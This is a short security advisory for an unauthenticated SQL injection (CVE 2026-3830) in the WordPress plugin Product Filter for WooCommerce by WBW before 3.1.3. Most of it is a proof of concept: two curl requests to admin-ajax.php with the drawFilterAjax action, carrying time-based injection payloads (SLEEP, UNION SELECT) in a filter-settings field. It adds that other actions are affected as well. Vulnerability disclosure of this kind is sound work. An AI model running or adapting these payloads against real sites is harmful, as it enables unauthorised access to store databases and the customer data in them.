Product Filter for WooCommerce by WBW < 3.1.3 – Unauthenticated SQLi | CVE 2026-3830

Description

The plugin does not sanitize and escape a parameter before using it in a SQL statement, allowing unauthenticated users to perform SQL injection attacks

Proof of Concept

time curl -X POST "https://127.0.0.1/wp-admin/admin-ajax.php" \
         -d "action=drawFilterAjax" \
         -d "pl=wpf" \
         -d "mod=woofilters" \
         -d "reqType=ajax" \
         -d "id=1" \
         -d "settings[mode]=10" \
         --data-urlencode 'settings[filters][order]=[{"id":"wpfAttribute","settings":{"f_enable":true,"f_list":"product_tag\\"}},{"id":"wpfAttribute","settings":{"f_enable":true,"f_list":", (SELECT 1 FROM (SELECT(SLEEP(5)))a))-- -"}}]'

time curl -X POST "https://127.0.0.1/wp-admin/admin-ajax.php" \
         -d "action=drawFilterAjax" \
         -d "pl=wpf" \
         -d "mod=woofilters" \
         -d "reqType=ajax" \
         -d "id=1" \
         -d "settings[mode]=10" \
         --data-urlencode 'settings[filters][order]=[{"id":"wpfAttribute","settings":{"f_enable":true,"f_list":"product_tag"}},{"id":"wpfAttribute","settings":{"f_enable":true,"f_list":"a') UNION SELECT SLEEP(5),2,3,4-- -"}}]'

Note: There are other actions affected by this, like filtersFrontend